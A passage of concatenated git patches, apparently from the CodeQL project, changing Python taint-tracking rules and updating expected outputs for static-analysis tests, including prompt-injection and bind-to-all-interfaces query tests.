Dictionary element at key body] | -| pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | | pymongo_test.py:59:35:59:55 | ControlFlowNode for Dict [Dictionary element at key $function, Dictionary element at key body] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $function, Dictionary element at key body] | | pymongo_test.py:59:35:59:55 | ControlFlowNode for Dict [Dictionary element at key $function] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $function] | | pymongo_test.py:59:49:59:54 | ControlFlowNode for search | semmle.label | ControlFlowNode for search | | pymongo_test.py:59:49:59:54 | ControlFlowNode for search [Dictionary element at key body] | semmle.label | ControlFlowNode for search [Dictionary element at key body] | | pymongo_test.py:61:25:61:57 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| pymongo_test.py:61:25:61:57 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | | pymongo_test.py:61:35:61:56 | ControlFlowNode for Dict [Dictionary element at key $function] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $function] | | pymongo_test.py:61:49:61:55 | ControlFlowNode for decoded | semmle.label | ControlFlowNode for decoded | | pymongo_test.py:62:25:62:42 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| pymongo_test.py:62:25:62:42 | ControlFlowNode for Dict [Dictionary element at key $expr] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $expr] | | pymongo_test.py:62:35:62:41 | ControlFlowNode for decoded | semmle.label | ControlFlowNode for decoded | | pymongo_test.py:63:25:63:31 | ControlFlowNode for decoded | semmle.label | ControlFlowNode for decoded | subpaths From f669a4f3bf16c34dffdb6b4d17e3ba85e8b5469e Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Mon, 11 Nov 2024 18:43:21 +0100 Subject: [PATCH 015/143] Python: Make sure all imprecise taint bubbles up --- python/ql/lib/semmle/python/frameworks/Stdlib.qll | 11 +++++++++-- .../defaultAdditionalTaintStep/test_collections.py | 10 ++++------ 2 files changed, 13 insertions(+), 8 deletions(-) diff --git a/python/ql/lib/semmle/python/frameworks/Stdlib.qll b/python/ql/lib/semmle/python/frameworks/Stdlib.qll index 5d3b994880a..7e5d0d8ab06 100644 --- a/python/ql/lib/semmle/python/frameworks/Stdlib.qll +++ b/python/ql/lib/semmle/python/frameworks/Stdlib.qll @@ -4244,8 +4244,15 @@ module StdlibPrivate { ) // TODO: Once we have DictKeyContent, we need to transform that into ListElementContent ) and - output = "ReturnValue.ListElement" and - preservesValue = true + ( + //Element content is mutated into list element content + output = "ReturnValue.ListElement" and + preservesValue = true + or + // Since list content is imprecise, we also taint the list. + output = "ReturnValue" and + preservesValue = false + ) or input = "Argument[0]" and output = "ReturnValue" and diff --git a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_collections.py b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_collections.py index a67438316f4..b9fa1ebffd4 100644 --- a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_collections.py +++ b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_collections.py @@ -27,14 +27,11 @@ def test_construction(): tainted_dict, # $ tainted ) - # There are no implicit reads for list content as it is imprecise - # Therefore, list content stemming from precise content does not end up on the list itself. ensure_tainted( list(tainted_list), # $ tainted - list(tainted_tuple)[0], # $ tainted + list(tainted_tuple), # $ tainted list(tainted_set), # $ tainted - list(tainted_dict.values())[0], # $ tainted - list(tainted_dict.items())[0], # $ tainted + list(tainted_dict.values()), # $ tainted tuple(tainted_list), # $ tainted set(tainted_list), # $ tainted @@ -46,7 +43,8 @@ def test_construction(): ) ensure_not_tainted( - dict(k = tainted_string)["k1"] + dict(k = tainted_string)["k1"], + list(tainted_dict.items()), ) From 0ecca91deaa76ac16677ee429f66e62389aebedb Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Wed, 13 Nov 2024 10:30:22 +0100 Subject: [PATCH 016/143] Python: typo --- python/ql/lib/semmle/python/frameworks/Stdlib.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/lib/semmle/python/frameworks/Stdlib.qll b/python/ql/lib/semmle/python/frameworks/Stdlib.qll index 7e5d0d8ab06..1e0bd846181 100644 --- a/python/ql/lib/semmle/python/frameworks/Stdlib.qll +++ b/python/ql/lib/semmle/python/frameworks/Stdlib.qll @@ -4245,7 +4245,7 @@ module StdlibPrivate { // TODO: Once we have DictKeyContent, we need to transform that into ListElementContent ) and ( - //Element content is mutated into list element content + // Element content is mutated into list element content output = "ReturnValue.ListElement" and preservesValue = true or From fa9426c74905b9bdd9cd390df3c3e76515160ca3 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Wed, 13 Nov 2024 10:31:06 +0100 Subject: [PATCH 017/143] Python: extra tests for comprehension --- python/ql/test/library-tests/frameworks/tornado/taint_test.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/python/ql/test/library-tests/frameworks/tornado/taint_test.py b/python/ql/test/library-tests/frameworks/tornado/taint_test.py index 7e80186a56f..c4f95ec511d 100644 --- a/python/ql/test/library-tests/frameworks/tornado/taint_test.py +++ b/python/ql/test/library-tests/frameworks/tornado/taint_test.py @@ -64,6 +64,8 @@ class TaintTest(tornado.web.RequestHandler): request.headers.get_list("header-name"), # $ tainted request.headers.get_all(), # $ tainted [(k, v) for (k, v) in request.headers.get_all()], # $ MISSING: tainted + [(k, v) for (k, v) in request.headers.get_all()][0], # $ tainted + list([(k, v) for (k, v) in request.headers.get_all()]), # $ MISSING: tainted # Dict[str, http.cookies.Morsel] request.cookies, # $ tainted From fa758d6bf5e44bbd22298de3ad609483b3f7988a Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Tue, 3 Dec 2024 18:33:47 +0100 Subject: [PATCH 018/143] python: fix test --- .../test/library-tests/frameworks/tornado/taint_test.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/python/ql/test/library-tests/frameworks/tornado/taint_test.py b/python/ql/test/library-tests/frameworks/tornado/taint_test.py index c4f95ec511d..d6dac013fbc 100644 --- a/python/ql/test/library-tests/frameworks/tornado/taint_test.py +++ b/python/ql/test/library-tests/frameworks/tornado/taint_test.py @@ -63,9 +63,8 @@ class TaintTest(tornado.web.RequestHandler): request.headers["header-name"], # $ tainted request.headers.get_list("header-name"), # $ tainted request.headers.get_all(), # $ tainted - [(k, v) for (k, v) in request.headers.get_all()], # $ MISSING: tainted [(k, v) for (k, v) in request.headers.get_all()][0], # $ tainted - list([(k, v) for (k, v) in request.headers.get_all()]), # $ MISSING: tainted + list([(k, v) for (k, v) in request.headers.get_all()])[0], # $ tainted # Dict[str, http.cookies.Morsel] request.cookies, # $ tainted @@ -75,6 +74,11 @@ class TaintTest(tornado.web.RequestHandler): request.cookies["cookie-name"].coded_value, # $ tainted ) + ensure_not_tainted( + [(k, v) for (k, v) in request.headers.get_all()], # The comprehension is not tainted, only the elements + list([(k, v) for (k, v) in request.headers.get_all()]), # Here, all the elements of the list are tainted, but the list is not. + ) + def make_app(): return tornado.web.Application( From e8779295eea09c963f3726dc9fdd04c57ca3ec54 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 21 May 2026 22:27:45 +0100 Subject: [PATCH 019/143] Update test results --- .../PromptInjection.expected | 4 ---- .../CWE-1427-PromptInjection/openai_test.py | 2 +- .../CVE-2018-1281/BindToAllInterfaces.expected | 18 +++++++++++++----- 3 files changed, 14 insertions(+), 10 deletions(-) diff --git a/python/ql/test/experimental/query-tests/Security/CWE-1427-PromptInjection/PromptInjection.expected b/python/ql/test/experimental/query-tests/Security/CWE-1427-PromptInjection/PromptInjection.expected index 6acb03ce7f5..fbf4ae3fd98 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-1427-PromptInjection/PromptInjection.expected +++ b/python/ql/test/experimental/query-tests/Security/CWE-1427-PromptInjection/PromptInjection.expected @@ -13,7 +13,6 @@ | openai_test.py:17:22:17:46 | ControlFlowNode for BinaryExpr | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | openai_test.py:17:22:17:46 | ControlFlowNode for BinaryExpr | This prompt construction depends on a $@. | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | user-provided value | | openai_test.py:18:15:18:19 | ControlFlowNode for query | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | openai_test.py:18:15:18:19 | ControlFlowNode for query | This prompt construction depends on a $@. | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | user-provided value | | openai_test.py:22:22:22:46 | ControlFlowNode for BinaryExpr | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | openai_test.py:22:22:22:46 | ControlFlowNode for BinaryExpr | This prompt construction depends on a $@. | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | user-provided value | -| openai_test.py:23:15:37:9 | ControlFlowNode for List | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | openai_test.py:23:15:37:9 | ControlFlowNode for List | This prompt construction depends on a $@. | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | user-provided value | | openai_test.py:26:28:26:51 | ControlFlowNode for BinaryExpr | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | openai_test.py:26:28:26:51 | ControlFlowNode for BinaryExpr | This prompt construction depends on a $@. | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | user-provided value | | openai_test.py:33:33:33:37 | ControlFlowNode for query | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | openai_test.py:33:33:33:37 | ControlFlowNode for query | This prompt construction depends on a $@. | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | user-provided value | | openai_test.py:41:22:41:46 | ControlFlowNode for BinaryExpr | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | openai_test.py:41:22:41:46 | ControlFlowNode for BinaryExpr | This prompt construction depends on a $@. | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | user-provided value | @@ -61,7 +60,6 @@ edges | openai_test.py:2:26:2:32 | ControlFlowNode for request | openai_test.py:13:13:13:19 | ControlFlowNode for request | provenance | | | openai_test.py:12:5:12:11 | ControlFlowNode for persona | openai_test.py:17:22:17:46 | ControlFlowNode for BinaryExpr | provenance | Sink:MaD:10 | | openai_test.py:12:5:12:11 | ControlFlowNode for persona | openai_test.py:22:22:22:46 | ControlFlowNode for BinaryExpr | provenance | Sink:MaD:10 | -| openai_test.py:12:5:12:11 | ControlFlowNode for persona | openai_test.py:23:15:37:9 | ControlFlowNode for List | provenance | Sink:MaD:9 | | openai_test.py:12:5:12:11 | ControlFlowNode for persona | openai_test.py:26:28:26:51 | ControlFlowNode for BinaryExpr | provenance | | | openai_test.py:12:5:12:11 | ControlFlowNode for persona | openai_test.py:41:22:41:46 | ControlFlowNode for BinaryExpr | provenance | Sink:MaD:10 | | openai_test.py:12:5:12:11 | ControlFlowNode for persona | openai_test.py:63:28:63:51 | ControlFlowNode for BinaryExpr | provenance | Sink:MaD:8 | @@ -72,7 +70,6 @@ edges | openai_test.py:12:15:12:26 | ControlFlowNode for Attribute | openai_test.py:12:15:12:41 | ControlFlowNode for Attribute() | provenance | dict.get | | openai_test.py:12:15:12:41 | ControlFlowNode for Attribute() | openai_test.py:12:5:12:11 | ControlFlowNode for persona | provenance | | | openai_test.py:13:5:13:9 | ControlFlowNode for query | openai_test.py:18:15:18:19 | ControlFlowNode for query | provenance | Sink:MaD:9 | -| openai_test.py:13:5:13:9 | ControlFlowNode for query | openai_test.py:23:15:37:9 | ControlFlowNode for List | provenance | Sink:MaD:9 | | openai_test.py:13:5:13:9 | ControlFlowNode for query | openai_test.py:33:33:33:37 | ControlFlowNode for query | provenance | | | openai_test.py:13:5:13:9 | ControlFlowNode for query | openai_test.py:42:15:42:19 | ControlFlowNode for query | provenance | Sink:MaD:9 | | openai_test.py:13:5:13:9 | ControlFlowNode for query | openai_test.py:53:33:53:37 | ControlFlowNode for query | provenance | | @@ -139,7 +136,6 @@ nodes | openai_test.py:17:22:17:46 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | | openai_test.py:18:15:18:19 | ControlFlowNode for query | semmle.label | ControlFlowNode for query | | openai_test.py:22:22:22:46 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | -| openai_test.py:23:15:37:9 | ControlFlowNode for List | semmle.label | ControlFlowNode for List | | openai_test.py:26:28:26:51 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | | openai_test.py:33:33:33:37 | ControlFlowNode for query | semmle.label | ControlFlowNode for query | | openai_test.py:41:22:41:46 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | diff --git a/python/ql/test/experimental/query-tests/Security/CWE-1427-PromptInjection/openai_test.py b/python/ql/test/experimental/query-tests/Security/CWE-1427-PromptInjection/openai_test.py index 8ea014c62b4..2b25609670c 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-1427-PromptInjection/openai_test.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-1427-PromptInjection/openai_test.py @@ -34,7 +34,7 @@ async def get_input_openai(): } ] } - ] # $ Alert[py/prompt-injection] + ] ) response3 = await async_client.responses.create( diff --git a/python/ql/test/query-tests/Security/CVE-2018-1281/BindToAllInterfaces.expected b/python/ql/test/query-tests/Security/CVE-2018-1281/BindToAllInterfaces.expected index 0b96b2df650..c478fe78fd7 100644 --- a/python/ql/test/query-tests/Security/CVE-2018-1281/BindToAllInterfaces.expected +++ b/python/ql/test/query-tests/Security/CVE-2018-1281/BindToAllInterfaces.expected @@ -11,10 +11,13 @@ edges | BindToAllInterfaces_test.py:5:9:5:17 | ControlFlowNode for StringLiteral | BindToAllInterfaces_test.py:5:9:5:24 | ControlFlowNode for Tuple | provenance | Sink:MaD:63 | | BindToAllInterfaces_test.py:9:9:9:10 | ControlFlowNode for StringLiteral | BindToAllInterfaces_test.py:9:9:9:16 | ControlFlowNode for Tuple | provenance | Sink:MaD:63 | -| BindToAllInterfaces_test.py:16:1:16:10 | ControlFlowNode for ALL_LOCALS | BindToAllInterfaces_test.py:17:9:17:24 | ControlFlowNode for Tuple | provenance | Sink:MaD:63 | -| BindToAllInterfaces_test.py:16:1:16:10 | ControlFlowNode for ALL_LOCALS | BindToAllInterfaces_test.py:20:1:20:3 | ControlFlowNode for tup | provenance | | +| BindToAllInterfaces_test.py:16:1:16:10 | ControlFlowNode for ALL_LOCALS | BindToAllInterfaces_test.py:17:9:17:18 | ControlFlowNode for ALL_LOCALS | provenance | | +| BindToAllInterfaces_test.py:16:1:16:10 | ControlFlowNode for ALL_LOCALS | BindToAllInterfaces_test.py:20:8:20:17 | ControlFlowNode for ALL_LOCALS | provenance | | | BindToAllInterfaces_test.py:16:14:16:22 | ControlFlowNode for StringLiteral | BindToAllInterfaces_test.py:16:1:16:10 | ControlFlowNode for ALL_LOCALS | provenance | | -| BindToAllInterfaces_test.py:20:1:20:3 | ControlFlowNode for tup | BindToAllInterfaces_test.py:21:8:21:10 | ControlFlowNode for tup | provenance | Sink:MaD:63 | +| BindToAllInterfaces_test.py:17:9:17:18 | ControlFlowNode for ALL_LOCALS | BindToAllInterfaces_test.py:17:9:17:24 | ControlFlowNode for Tuple | provenance | Sink:MaD:63 | +| BindToAllInterfaces_test.py:20:1:20:3 | ControlFlowNode for tup [Tuple element at index 0] | BindToAllInterfaces_test.py:21:8:21:10 | ControlFlowNode for tup | provenance | Sink:MaD:63 | +| BindToAllInterfaces_test.py:20:8:20:17 | ControlFlowNode for ALL_LOCALS | BindToAllInterfaces_test.py:20:8:20:23 | ControlFlowNode for Tuple [Tuple element at index 0] | provenance | | +| BindToAllInterfaces_test.py:20:8:20:23 | ControlFlowNode for Tuple [Tuple element at index 0] | BindToAllInterfaces_test.py:20:1:20:3 | ControlFlowNode for tup [Tuple element at index 0] | provenance | | | BindToAllInterfaces_test.py:26:9:26:12 | ControlFlowNode for StringLiteral | BindToAllInterfaces_test.py:26:9:26:18 | ControlFlowNode for Tuple | provenance | Sink:MaD:63 | | BindToAllInterfaces_test.py:33:18:33:21 | ControlFlowNode for self [Return] [Attribute bind_addr] | BindToAllInterfaces_test.py:41:10:41:17 | ControlFlowNode for Server() [Attribute bind_addr] | provenance | | | BindToAllInterfaces_test.py:34:9:34:12 | [post] ControlFlowNode for self [Attribute bind_addr] | BindToAllInterfaces_test.py:33:18:33:21 | ControlFlowNode for self [Return] [Attribute bind_addr] | provenance | | @@ -25,9 +28,10 @@ edges | BindToAllInterfaces_test.py:41:1:41:6 | ControlFlowNode for server [Attribute bind_addr] | BindToAllInterfaces_test.py:42:1:42:6 | ControlFlowNode for server [Attribute bind_addr] | provenance | | | BindToAllInterfaces_test.py:41:10:41:17 | ControlFlowNode for Server() [Attribute bind_addr] | BindToAllInterfaces_test.py:41:1:41:6 | ControlFlowNode for server [Attribute bind_addr] | provenance | | | BindToAllInterfaces_test.py:42:1:42:6 | ControlFlowNode for server [Attribute bind_addr] | BindToAllInterfaces_test.py:37:15:37:18 | ControlFlowNode for self [Attribute bind_addr] | provenance | | -| BindToAllInterfaces_test.py:46:1:46:4 | ControlFlowNode for host | BindToAllInterfaces_test.py:48:9:48:18 | ControlFlowNode for Tuple | provenance | Sink:MaD:63 | +| BindToAllInterfaces_test.py:46:1:46:4 | ControlFlowNode for host | BindToAllInterfaces_test.py:48:9:48:12 | ControlFlowNode for host | provenance | | | BindToAllInterfaces_test.py:46:8:46:44 | ControlFlowNode for Attribute() | BindToAllInterfaces_test.py:46:1:46:4 | ControlFlowNode for host | provenance | | | BindToAllInterfaces_test.py:46:35:46:43 | ControlFlowNode for StringLiteral | BindToAllInterfaces_test.py:46:8:46:44 | ControlFlowNode for Attribute() | provenance | dict.get | +| BindToAllInterfaces_test.py:48:9:48:12 | ControlFlowNode for host | BindToAllInterfaces_test.py:48:9:48:18 | ControlFlowNode for Tuple | provenance | Sink:MaD:63 | | BindToAllInterfaces_test.py:53:10:53:18 | ControlFlowNode for StringLiteral | BindToAllInterfaces_test.py:53:10:53:25 | ControlFlowNode for Tuple | provenance | Sink:MaD:63 | | BindToAllInterfaces_test.py:58:10:58:18 | ControlFlowNode for StringLiteral | BindToAllInterfaces_test.py:58:10:58:25 | ControlFlowNode for Tuple | provenance | Sink:MaD:63 | nodes @@ -37,8 +41,11 @@ nodes | BindToAllInterfaces_test.py:9:9:9:16 | ControlFlowNode for Tuple | semmle.label | ControlFlowNode for Tuple | | BindToAllInterfaces_test.py:16:1:16:10 | ControlFlowNode for ALL_LOCALS | semmle.label | ControlFlowNode for ALL_LOCALS | | BindToAllInterfaces_test.py:16:14:16:22 | ControlFlowNode for StringLiteral | semmle.label | ControlFlowNode for StringLiteral | +| BindToAllInterfaces_test.py:17:9:17:18 | ControlFlowNode for ALL_LOCALS | semmle.label | ControlFlowNode for ALL_LOCALS | | BindToAllInterfaces_test.py:17:9:17:24 | ControlFlowNode for Tuple | semmle.label | ControlFlowNode for Tuple | -| BindToAllInterfaces_test.py:20:1:20:3 | ControlFlowNode for tup | semmle.label | ControlFlowNode for tup | +| BindToAllInterfaces_test.py:20:1:20:3 | ControlFlowNode for tup [Tuple element at index 0] | semmle.label | ControlFlowNode for tup [Tuple element at index 0] | +| BindToAllInterfaces_test.py:20:8:20:17 | ControlFlowNode for ALL_LOCALS | semmle.label | ControlFlowNode for ALL_LOCALS | +| BindToAllInterfaces_test.py:20:8:20:23 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | | BindToAllInterfaces_test.py:21:8:21:10 | ControlFlowNode for tup | semmle.label | ControlFlowNode for tup | | BindToAllInterfaces_test.py:26:9:26:12 | ControlFlowNode for StringLiteral | semmle.label | ControlFlowNode for StringLiteral | | BindToAllInterfaces_test.py:26:9:26:18 | ControlFlowNode for Tuple | semmle.label | ControlFlowNode for Tuple | @@ -55,6 +62,7 @@ nodes | BindToAllInterfaces_test.py:46:1:46:4 | ControlFlowNode for host | semmle.label | ControlFlowNode for host | | BindToAllInterfaces_test.py:46:8:46:44 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | BindToAllInterfaces_test.py:46:35:46:43 | ControlFlowNode for StringLiteral | semmle.label | ControlFlowNode for StringLiteral | +| BindToAllInterfaces_test.py:48:9:48:12 | ControlFlowNode for host | semmle.label | ControlFlowNode for host | | BindToAllInterfaces_test.py:48:9:48:18 | ControlFlowNode for Tuple | semmle.label | ControlFlowNode for Tuple | | BindToAllInterfaces_test.py:53:10:53:18 | ControlFlowNode for StringLiteral | semmle.label | ControlFlowNode for StringLiteral | | BindToAllInterfaces_test.py:53:10:53:25 | ControlFlowNode for Tuple | semmle.label | ControlFlowNode for Tuple | From ec13e1bcd3f3f0c41484d976ef1fc913fed1e109 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Wed, 27 May 2026 15:28:07 +0100 Subject: [PATCH 020/143] Add wildcard `ContentSet`s to avoid performance problems --- .../dataflow/new/internal/DataFlowPrivate.qll | 118 +++++++++--------- .../dataflow/new/internal/DataFlowPublic.qll | 54 +++++++- .../dataflow/new/internal/FlowSummaryImpl.qll | 44 ++++--- .../new/internal/TaintTrackingPrivate.qll | 15 +-- .../new/internal/TypeTrackingImpl.qll | 7 +- .../LoopVariableCaptureQuery.qll | 11 +- .../frameworks/stdlib/test_re.py | 18 +-- 7 files changed, 162 insertions(+), 105 deletions(-) diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index aa4130fb6a8..1c9ec5dff17 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -753,7 +753,7 @@ predicate jumpStepNotSharedWithTypeTracker(Node nodeFrom, Node nodeTo) { * As of 2024-04-02 the type-tracking library only supports precise content, so there is * no reason to include steps for list content right now. */ -predicate storeStepCommon(Node nodeFrom, ContentSet c, Node nodeTo) { +predicate storeStepCommon(Node nodeFrom, Content c, Node nodeTo) { tupleStoreStep(nodeFrom, c, nodeTo) or dictStoreStep(nodeFrom, c, nodeTo) @@ -767,29 +767,31 @@ predicate storeStepCommon(Node nodeFrom, ContentSet c, Node nodeTo) { * Holds if data can flow from `nodeFrom` to `nodeTo` via an assignment to * content `c`. */ -predicate storeStep(Node nodeFrom, ContentSet c, Node nodeTo) { - storeStepCommon(nodeFrom, c, nodeTo) +predicate storeStep(Node nodeFrom, ContentSet cs, Node nodeTo) { + exists(Content c | cs = singleton(c) | + storeStepCommon(nodeFrom, c, nodeTo) + or + listStoreStep(nodeFrom, c, nodeTo) + or + setStoreStep(nodeFrom, c, nodeTo) + or + attributeStoreStep(nodeFrom, c, nodeTo) + or + matchStoreStep(nodeFrom, c, nodeTo) + or + any(Orm::AdditionalOrmSteps es).storeStep(nodeFrom, c, nodeTo) + or + synthStarArgsElementParameterNodeStoreStep(nodeFrom, c, nodeTo) + or + synthDictSplatArgumentNodeStoreStep(nodeFrom, c, nodeTo) + or + yieldStoreStep(nodeFrom, c, nodeTo) + or + VariableCapture::storeStep(nodeFrom, c, nodeTo) + ) or - listStoreStep(nodeFrom, c, nodeTo) - or - setStoreStep(nodeFrom, c, nodeTo) - or - attributeStoreStep(nodeFrom, c, nodeTo) - or - matchStoreStep(nodeFrom, c, nodeTo) - or - any(Orm::AdditionalOrmSteps es).storeStep(nodeFrom, c, nodeTo) - or - FlowSummaryImpl::Private::Steps::summaryStoreStep(nodeFrom.(FlowSummaryNode).getSummaryNode(), c, + FlowSummaryImpl::Private::Steps::summaryStoreStep(nodeFrom.(FlowSummaryNode).getSummaryNode(), cs, nodeTo.(FlowSummaryNode).getSummaryNode()) - or - synthStarArgsElementParameterNodeStoreStep(nodeFrom, c, nodeTo) - or - synthDictSplatArgumentNodeStoreStep(nodeFrom, c, nodeTo) - or - yieldStoreStep(nodeFrom, c, nodeTo) - or - VariableCapture::storeStep(nodeFrom, c, nodeTo) } /** @@ -985,7 +987,7 @@ predicate attributeStoreStep(Node nodeFrom, AttributeContent c, Node nodeTo) { /** * Subset of `readStep` that should be shared with type-tracking. */ -predicate readStepCommon(Node nodeFrom, ContentSet c, Node nodeTo) { +predicate readStepCommon(Node nodeFrom, Content c, Node nodeTo) { subscriptReadStep(nodeFrom, c, nodeTo) or iterableUnpackingReadStep(nodeFrom, c, nodeTo) @@ -994,23 +996,25 @@ predicate readStepCommon(Node nodeFrom, ContentSet c, Node nodeTo) { /** * Holds if data can flow from `nodeFrom` to `nodeTo` via a read of content `c`. */ -predicate readStep(Node nodeFrom, ContentSet c, Node nodeTo) { - readStepCommon(nodeFrom, c, nodeTo) +predicate readStep(Node nodeFrom, ContentSet cs, Node nodeTo) { + exists(Content c | cs = singleton(c) | + readStepCommon(nodeFrom, c, nodeTo) + or + matchReadStep(nodeFrom, c, nodeTo) + or + forReadStep(nodeFrom, c, nodeTo) + or + attributeReadStep(nodeFrom, c, nodeTo) + or + synthDictSplatParameterNodeReadStep(nodeFrom, c, nodeTo) + or + VariableCapture::readStep(nodeFrom, c, nodeTo) + ) or - matchReadStep(nodeFrom, c, nodeTo) - or - forReadStep(nodeFrom, c, nodeTo) - or - attributeReadStep(nodeFrom, c, nodeTo) - or - FlowSummaryImpl::Private::Steps::summaryReadStep(nodeFrom.(FlowSummaryNode).getSummaryNode(), c, + FlowSummaryImpl::Private::Steps::summaryReadStep(nodeFrom.(FlowSummaryNode).getSummaryNode(), cs, nodeTo.(FlowSummaryNode).getSummaryNode()) or - synthDictSplatParameterNodeReadStep(nodeFrom, c, nodeTo) - or - VariableCapture::readStep(nodeFrom, c, nodeTo) - or - Conversions::readStep(nodeFrom, c, nodeTo) + Conversions::readStep(nodeFrom, cs, nodeTo) } /** Data flows from a sequence to a subscript of the sequence. */ @@ -1074,11 +1078,7 @@ module Conversions { nodeFrom = decoding.getAnInput() and nodeTo = decoding.getOutput() ) and - ( - c instanceof TupleElementContent - or - c instanceof DictionaryElementContent - ) + (c.isAnyTupleElement() or c.isAnyDictionaryElement()) } predicate encoderReadStep(Node nodeFrom, ContentSet c, Node nodeTo) { @@ -1086,11 +1086,7 @@ module Conversions { nodeFrom = encoding.getAnInput() and nodeTo = encoding.getOutput() ) and - ( - c instanceof TupleElementContent - or - c instanceof DictionaryElementContent - ) + (c.isAnyTupleElement() or c.isAnyDictionaryElement()) } predicate formatReadStep(Node nodeFrom, ContentSet c, Node nodeTo) { @@ -1099,13 +1095,13 @@ module Conversions { fmt.getOp() instanceof Mod and fmt.getRight() = nodeFrom.asCfgNode() ) and - c instanceof TupleElementContent + c.isAnyTupleElement() or // format_map // see https://docs.python.org/3/library/stdtypes.html#str.format_map nodeTo.(MethodCallNode).calls(_, "format_map") and nodeTo.(MethodCallNode).getArg(0) = nodeFrom and - c instanceof DictionaryElementContent + c.isAnyDictionaryElement() } predicate readStep(Node nodeFrom, ContentSet c, Node nodeTo) { @@ -1122,18 +1118,20 @@ module Conversions { * any value stored inside `f` is cleared at the pre-update node associated with `x` * in `x.f = newValue`. */ -predicate clearsContent(Node n, ContentSet c) { - matchClearStep(n, c) +predicate clearsContent(Node n, ContentSet cs) { + exists(Content c | cs = singleton(c) | + matchClearStep(n, c) + or + attributeClearStep(n, c) + or + dictClearStep(n, c) + or + dictSplatParameterNodeClearStep(n, c) + or + VariableCapture::clearsContent(n, c) + ) or - attributeClearStep(n, c) - or - dictClearStep(n, c) - or - FlowSummaryImpl::Private::Steps::summaryClearsContent(n.(FlowSummaryNode).getSummaryNode(), c) - or - dictSplatParameterNodeClearStep(n, c) - or - VariableCapture::clearsContent(n, c) + FlowSummaryImpl::Private::Steps::summaryClearsContent(n.(FlowSummaryNode).getSummaryNode(), cs) } /** diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPublic.qll index 8612d4a253e..173a5598149 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -898,19 +898,65 @@ class CapturedVariableContent extends Content, TCapturedVariableContent { override string getMaDRepresentation() { none() } } +/** + * An entity that represents a set of `Content`s. + * + * Most `ContentSet`s are singletons (i.e. they consist of a single `Content`), + * but `AnyDictionaryElement` and `AnyTupleElement` act as wildcards on the + * read side: a read at such a `ContentSet` matches any specific dictionary + * key / tuple index store, as well as (for dictionaries) the + * "unknown-bucket" Content `DictionaryElementAnyContent`. + * + * Keeping these as wildcard `ContentSet`s (rather than enumerating one + * `ContentSet` per key/index) keeps the dataflow `readSetEx` relation small + * when implicit reads are used (e.g. at sinks via `defaultImplicitTaintRead`). + */ +private newtype TContentSet = + TSingletonContent(Content c) or + TAnyTupleElement() or + TAnyDictionaryElement() + /** * An entity that represents a set of `Content`s. * * The set may be interpreted differently depending on whether it is * stored into (`getAStoreContent`) or read from (`getAReadContent`). */ -class ContentSet instanceof Content { +class ContentSet extends TContentSet { + /** Holds if this content set is the singleton `{c}`. */ + predicate isSingleton(Content c) { this = TSingletonContent(c) } + + /** Holds if this content set is the wildcard for all tuple elements. */ + predicate isAnyTupleElement() { this = TAnyTupleElement() } + + /** Holds if this content set is 